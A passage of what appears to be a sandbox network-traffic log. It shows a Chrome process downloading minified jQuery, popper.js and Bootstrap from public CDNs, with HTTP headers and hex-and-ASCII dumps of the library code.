2024-09-16 19:11:14 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-09-16 19:11:14 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2024-09-16 19:11:14 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-09-16 19:11:14 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-09-16 19:11:14 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49713	104.17.25.14	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:13 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:14 UTC	954	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:13 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 728524 Expires: Sat, 06 Sep 2025 19:11:13 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=REH8aTq8QxvnYCK6CZm26Nlr7AQAXZGeviUlcIuMPAIT0bDJ8LiYQCnNkJwF4NY2hlle4x8ciSg54effqroD2M2hXB1EdZu9UNhltxRp5Y6X1bWVosuK2H4vjx5Hq%2BRK5el87goi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8c43294059287cee-EWR alt-svc: h3=":443"; ma=86400
2024-09-16 19:11:14 UTC	415	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 Data Ascii: eType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':retu
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b Data Ascii: =2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e Data Ascii: p-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d Data Ascii: height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 Data Ascii: ('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:th
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 Data Ascii: ions.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e Data Ascii: ==t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'en
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 Data Ascii: ==e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 Data Ascii: &e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Ob

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49716	104.18.11.207	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:13 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:14 UTC	948	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:13 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-CachedAt: 10/31/2023 18:58:40 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1048 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: f4f838df79fc133911a060d7c6bb0f5c CDN-Cache: HIT CF-Cache-Status: HIT Age: 16156202 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8c4329405f3e8c09-EWR alt-svc: h3=":443"; ma=86400
2024-09-16 19:11:14 UTC	421	IN	Data Raw: 37 62 66 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bff/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 Data Ascii: query","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var 